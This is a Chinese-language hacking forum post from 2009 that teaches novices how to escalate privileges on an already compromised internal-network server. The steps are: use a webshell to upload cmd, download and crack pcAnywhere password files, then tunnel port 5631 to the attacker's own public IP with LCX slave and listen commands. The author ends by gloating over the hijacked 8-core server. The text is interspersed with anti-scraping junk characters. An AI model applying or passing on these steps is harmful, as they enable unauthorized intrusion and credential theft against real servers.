|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。$ H. w9 r E* U' [# P
: g. f& p* n7 X6 i$ t+ H提权方法：pcanywhere+LCX w$ l/ K4 c% ^7 K; X- T2 L
) Y8 v) F" m) u; d& C获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。
3 t2 ?9 n6 ?! U x4 S( y# s, P
+ d. n$ N" S& |在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。* C: r6 g; X) h
/ Z1 N9 V; B9 Z* K; I3 I4 y. J
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
; n1 w' j: i% `7 o" d9 q p' V( L5 a; o1 O4 W) M9 V0 j
2 Q( d& l. @# `2 N, x呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
* W( g7 G- Q1 [, t4 L f7 A* k; n6 Y# H0 {2 ]
) R" h% `5 a9 A) Y& p t
' A4 J) W5 j6 D( v0 z
2 X3 \ P9 k# {% \由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``0 X! ]& j+ L5 H8 O9 C
, g. ~* u5 y9 f$ R0 m) Q/ m5 R! R. n$ R9 ]
LCX的用法再简单说下：
& R: T- h, t. y1 Q
! u5 j( b `0 i服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）0 _# F6 n0 w( G9 K( I
2 }: P5 Z% |* ?5 a, S2 L! N' Z本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）
9 P3 X) V- ^9 q) T i: A/ b6 b
5 S( ]2 W3 `* N O) b1 a- Z2 ^由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。; B. k9 {- |- w0 ?3 l$ ~) D; p6 I
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``2 }1 P( ?# ~8 D$ U/ T+ [: ]
- G' z, q6 q* Q+ s0 \5 H- U j F# Q6 i- \
8 x B: [( h0 Z9 X& ^" w
4 X1 o) t& u+ o0 Q/ ^5 D0 v O呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
. j% ?; A; T0 S& [7 Y/ e% g7 q- \& F+ e- B
+ e; A; r! {4 [* D
# @7 S% I* N3 r: Y6 h2 h' }
6 x# ]' R- n3 }' h7 K$ ^我们本地连接试试，输入我们刚破解的账号密码
, N6 `) w% z: I" g8 r7 w4 o3 t, B# @$ m3 r
/ }1 ^; [0 m* T. [' t/ M3 g* Q+ D' ~呵呵``连接成功,服务器不错，又一个8核^︵^) F3 \% n% {* K3 H# O; }; X
+ i J) D: R: A# F
& v/ H( T* e5 m2 {/ e5 J' [5 I- y
' U# O% m7 W/ T; w# X" Q/ j |
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-7-5 21:35
| 
发表于 2009-7-5 21:37
| .gif)
